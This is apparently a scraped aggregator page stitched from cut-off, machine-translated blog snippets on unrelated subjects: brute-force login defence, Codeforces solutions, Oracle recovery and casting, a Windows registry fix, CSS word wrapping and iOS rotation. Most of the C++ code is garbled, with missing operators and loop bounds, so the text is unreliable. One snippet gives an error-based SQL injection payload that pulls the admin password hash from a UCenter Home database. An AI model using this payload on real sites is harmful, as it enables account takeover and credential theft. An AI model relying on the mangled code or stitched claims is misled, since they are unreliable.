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Chapter 2 User Authentication, Authorization, and Security (3): protects servers against brute force attacks, authenticationSource: Workshop Without the consent of the author, no one shall be published in the form of "original" or used for commercial purposes. I am not responsible for any legal liability. Previous Article: http://blog.csdn.net/dba_huangzj/article/details/38705965 Preface: Brute-

The first thing to declare is that this article is purely an ignorant view of a little developer without foresight and knowledge, and is intended only for reference in Web system security.1. Brief descriptionIn siege, the gate is always the easiest place to be breached.The openness of the login feature allows countless attackers to attempt to guess the user name and password to gain unauthorized access to the system.This kind of attack is almost ubiquitous, there are systematic attacks, there ar

You can enumerate all the start and end points in a brute force manner. I thought too much about this question, but I did not expect the simplest starting point of the violent enumeration... You should first think of the simplest way to go deeper. #include Codeforces round #253 (Div. 2) B (brute force enumeration)

Title Link: Http://www.codeforces.com/problemset/problem/231/ATest instructions: Ask how many of the questions in the N-way question are at least two people will.C + + code: #include using namespace Std; int N, a, B, C, ans; int Main () {cin >> n; while (N-- >>a ;> b >> C; if (A + B + C >= 2 ) ans ++; } cout ans; return 0 ;} C + +The 11th question of codeforces water question 100 codeforces Round #143 (Div.

Title Link: Http://www.codeforces.com/problemset/problem/580/ATest instructions: The length of the longest continuous non-descending subsequence.C + + code:#include using namespacestd;Const intMAXN =100100;intN, A[MAXN], tmp, ans;intMain () {CIN>>N; for(inti =0; I ) Cin>>A[i]; TMP= ans =1; for(inti =1; I ) if(A[i] >= a[i-1]) {tmp++; if(tmp > ans) ans =tmp; } Elsetmp=1; coutans; return 0;}C + +Codeforces Water Question 100 The 14th question codeforces Round #321 (Div.

Title Link: Http://www.codeforces.com/problemset/problem/460/ATest instructions: Vasya every day with a pair of socks, her mother every m days to send him a pair of socks, Vasya a start with n pairs of socks, the first few days when Vasya will not wear socks?C + + code:#include using namespacestd;intN, M;intMain () {CIN>> N >>m; intD =0; while(n) {d++; if(n) n--; Else Break; if(d% m = =0) n++; } coutD; return 0;}C + +The 15th question of codeforces water question 100 codeforces Roun

Title Link: Http://www.codeforces.com/problemset/problem/271/ATest instructions: Give you a four-digit number, which is the smallest of the number that satisfies the four-bit number with a different four-digit size.C + + code:#include #includeusing namespacestd;BOOLChkintx) { inta[4]; for(inti =0; I 4; i + +) {A[i]= x%Ten; X/=Ten; } sort (A, a+4); for(inti =1; I 4; i + +) if(A[i] = = a[i-1]) return false; return true;}int Get(Const intx) { for(inti = x+1; ; i + +)

Title Link: Http://www.codeforces.com/problemset/problem/122/ATest instructions: Determines whether a number can be divisible by a lucky, a lucky number that contains only 4 or 7.C + + code:#include intlucky[ -] = {4,7, -, -, About, the,444,447,474,477,744,747,774,777};BOOLCheckintx) { for(inti =0; I -; i + +) if(x% lucky[i] = =0) return true; return false;}intMain () {intN; scanf ("%d", N); Puts (check (n)?"YES":"NO"); return 0;}C + +Codeforces Water 100 question 12th cod

Source: http://blog.csdn.net/dba_huangzj/article/details/38756693 , Topic directory: Http://blog.csdn.net/dba_huangzj/article/details/37906349 Without the consent of the author, no one shall be published in the form of "original" or used for commercial purposes. I am not responsible for any legal liability. Previous Article: http://blog.csdn.net/dba_huangzj/article/details/38705965 Preface: Brute-force attack attempts to crack the password by

rollback segment data file, delete the rollback data file, and simulate the rollback segment loss. C:/Documents and Settings/Administrator> sqlplus "/As sysdba" SQL * Plus: Release 10.2.0.4.0-production on Thursday September 9 22:23:50 2010 Copyright (c) 1982,200 7, Oracle. All rights reserved. Already connected to the idle routine. SQL> startupThe Oracle routine has been started. Total system global area 574619648 bytesFixed size 1297944 bytesVariable Size 234881512 bytesDatabase buffers 3313

How can I solve the startup error of a reinstallation system game? I know that reinstallation of the game is acceptable, but this method is not intended for us. Delta Force XtremeAfter reinstalling the systemAn error is prompted during startup, which is a common memory error.Write the following content in notepad, save it with the suffix *. Reg, double-click to save the file, and select "yes"Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE/sof

D. Skills time limit per test 2 seconds memory limit per test megabytes input standard input output standard output Lesha plays the recently published new version of the legendary game hacknet. In this version character skill mechanism is introduced. Now, each player character have exactly n skills. Each skill are represented by a non-negative an integer ai-the current skill level. All skills has the same maximum level A. Along with the skills, global

Simple brute-force enumeration, but it took me so long, it can be seen that my basic skills are not solid enough. If the multiplication of two numbers equals to a number of 6 * n, I can enumerate one of them, and enumerate to SQRT (6 * n, this is a very common nature of brute force solutions. Find the smallest one in A and B, and start enumeration until the ascending order of SQRT (6 * n. In this way, there

requirements, the number is formatted, the results are still numbers.Analysis: This requirement is a very common and normal requirement, and since Oracle is so powerful, it should provide relevant methods,So, to find the relevant documentation for Oracle, finally, find a cast function, which is responsible for the type conversion, try it.The results show that the method is feasible. Test the SQL statement as follows:[SQL] Select CAST (1234.4 as number (

numbers.Analysis: This requirement is a very common and normal requirement, and since Oracle is so powerful, it should provide relevant methods,So, to find the relevant documentation for Oracle, finally, find a cast function, which is responsible for the type conversion, try it.The results show that the method is feasible. Test the SQL statement as follows:[SQL]View PlainCopy Select CAST (1234.4 as number (2)) as AA from dual; Sele

If the table prefix is obtained through the preceding SQL error message, the hash with the username admin can be cracked. To cp. php? Ac = profile op = info POST submit parameters:Profilesubmit = 1 formhash = 232d1c54 info [A', (select 1 from (select count (*), concat (SELECT concat (password) FROM uchome_member where username like 'admin % '), floor (rand (0) * 2) x from information_schema.tables group by x) a), '1') #] = 1 The SQL statement is:

implemented in Navigationcontroller, The overridden Shouldautorotate method is no longer performed in Viewcontroller.-(BOOL) shouldautorotate{//Whether automatic rotation is supportedreturn YES;}-(Nsuinteger) supportedinterfaceorientations{//Supported rotation directionReturn (enumeration value);}-(Uiinterfaceorientation) preferredinterfaceorientationforpresentation{//The default orientation after entering the interfaceReturn (enumeration value);}Several questions about the rotation of the iOS

The code is as follows Copy Code Wrap Linediv{Word-wrap:break-word;Word-break:normal;}Force English words to break www.111cn.netdiv{Word-break:break-all;}1. (ie browser) white-space:normal; Word-break:break-all, where the former is to follow the standard. #wrap {white-space:normal; width:200px;}Or#wrap {word-break:break-all;width:200px;} eg. Effect: You can implement line wrapping 2. (Firef

Title Link: Http://www.codeforces.com/problemset/problem/268/ATest instructions: If the home team's home shirt is the same as the away shirt in the football match, then ask the team to put on their jerseys, now there are N teams, each team's home shirt and the color of the go shirt tell you, they are 22 more than a game. The number of matches where the home team wears away jerseys.C + + code:#include using namespacestd;Const intMAXN = -;intX[MAXN], Y[MAXN], n, ans;intMain () {CIN>>N; for(inti =

Title Link: Http://www.codeforces.com/problemset/problem/327/ATest instructions: You now have n cards, these are 0 on one side and 1 on the other side. Numbering from 1 to n, you need to flip the [i,j] interval of the card once, so that the number of cards seen is 1 of the largest.C + + code:#include using namespacestd;Const intMAXN = the;intN, A[maxn], SUM[MAXN];intFlipintLintR) { intA1 = Sum[r]-sum[l-1]; intA2 = R-l +1-A1; //cout returnSum[n]-sum[r] + sum[l-1] +A2;}intMain () {CIN>>N;